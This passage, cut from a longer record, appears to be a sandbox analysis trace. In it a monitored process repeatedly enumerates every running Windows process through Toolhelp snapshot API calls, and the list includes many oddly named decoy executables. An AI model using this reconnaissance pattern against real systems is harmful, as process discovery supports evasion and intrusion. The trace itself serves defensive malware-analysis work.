hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.271] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.272] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.277] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.278] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.279] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0116.280] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0116.280] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0116.281] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0116.282] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0116.283] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0116.283] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0116.284] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0116.285] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0116.286] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0116.286] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0116.287] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0116.288] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0116.289] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0116.290] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0116.336] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0116.337] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0116.338] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0116.339] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0116.340] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0116.340] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0116.341] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.342] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0116.343] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.343] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0116.344] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.345] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0116.346] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0116.346] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0116.347] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.348] Process32NextW (in: hSnapshot=0x13d8, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0116.349] CloseHandle (hObject=0x13d8) returned 1 [0116.349] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13d8 [0116.350] Thread32First (hSnapshot=0x13d8, lpte=0x4f1f308) returned 1 [0117.634] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0117.728] Process32FirstW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.729] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.730] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.730] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.731] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.732] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.733] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.734] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.735] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.735] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0117.736] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.737] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.738] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.739] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.740] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.741] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.742] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.742] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.743] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.744] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.745] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.746] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.747] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.747] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.748] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.749] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.750] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.751] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0117.752] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0117.753] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0117.754] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0117.755] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0117.755] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0117.756] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0117.757] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0117.758] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0117.759] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0117.760] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0117.761] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0117.762] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0117.763] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0117.764] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0117.765] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0117.765] Process32NextW (in: hSnapshot=0x56c, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, 